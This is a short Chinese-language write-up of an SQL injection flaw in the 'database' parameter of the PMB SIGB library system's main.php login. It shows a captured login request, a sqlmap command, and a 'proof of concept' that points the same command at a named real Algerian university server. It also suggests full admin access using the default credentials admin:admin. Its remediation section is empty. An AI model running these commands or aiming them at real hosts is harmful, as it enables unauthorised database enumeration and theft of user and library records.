漏洞概述
PMB SIGB的main.php登录端点中的database参数存在SQL注入漏洞。应用程序在认证过程中,未能对用户输入的database参数进行有效净化,便直接将其拼接到SQL查询语句中。
漏洞请求示例(通过Burp Suite捕获)
1
2
3
4
5
6
|
POST /main.php HTTP/2
Host: target.com
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
ret_url=&database=ehec_db&user=admin&password=admin
|
响应(302 成功 - 未返回登录错误login_error=1):
1
2
|
HTTP/2 302 Found
Location: index.php
|
漏洞利用命令
1
|
sqlmap -u "https://target.com/main.php" --data="ret_url=&database=ehec_db&user=admin&password=admin" -p database --batch --dbs --risk=3 --level=5
|
概念验证(针对阿尔及利亚某大学真实目标)
1
|
sqlmap -u "https://pmb.univ-guelma.dz/main.php" --data="ret_url=&database=ehec_db&user=admin&password=admin" -p database --batch --dbs --risk=3 --level=5
|
技术细节
漏洞源于database参数未经净化直接拼接到SQL查询语句中,其原始查询逻辑大致如下:
1
|
SELECT * FROM users WHERE database='$database' AND user='$user' AND password='$password'
|
影响范围
- 数据库枚举(
--dbs)
- 数据表与列信息提取
- 数据窃取(用户信息、密码、图书馆记录等)
- 潜在的认证绕过
- 结合默认凭据
admin:admin可获取完整管理员权限
修复建议